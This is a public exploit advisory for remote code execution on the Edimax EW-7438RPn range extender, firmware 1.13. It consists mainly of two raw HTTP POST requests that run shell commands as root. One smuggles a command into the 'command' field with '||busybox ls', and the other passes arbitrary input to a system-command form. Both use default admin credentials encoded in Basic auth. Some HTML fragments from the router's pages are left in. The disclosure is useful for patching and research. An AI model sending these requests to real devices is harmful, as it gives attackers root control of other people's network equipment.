Exploit/Advisories

# Exploit Title: Edimax EW-7438RPn 1.13 - Remote Code Execution
# Date: 2020-04-23
# Exploit Author: Besim ALTINOK
# Vendor Homepage: https://www.edimax.com/edimax/merchandise/merchandise_detail/data/edimax/global/wi-fi_range_extenders_n300/ew-7438rpn_mini/
# Version:1.13
# Tested on: Edimax EW-7438RPn 1.13 Version

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NOTE: This device configurated with root permissions. So you can run the
command as root

Here is the detail(s) of the RCE(s)

1- Content of the mp.asp file

 type="submit" value="GO">
 
 

RCE Detail:
-------------------------------

POST /goform/mp HTTP/1.1
Host: 192.168.2.2
User-Agent: Mozilla/5.0 *********************
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
DNT: 1
Authorization: Basic YWRtaW46MTIzNA==
Connection: close
Cookie: language=1
Upgrade-Insecure-Requests: 1

command=||busybox+ls&getID=

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2- Content of the syscmd.asp

border=0 width="300"500" cellspacing=0 cellpadding=0>

This page can be used to run target system command.

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System Command:

RCE Detail:
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POST /goform/formSysCmd HTTP/1.1
Host: 192.168.2.2
User-Agent: Mozilla/5.0 *********************
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
DNT: 1
Authorization: Basic YWRtaW46MTIzNA==
Connection: close
Cookie: language=1
Upgrade-Insecure-Requests: 1

sysCmd="command to here"

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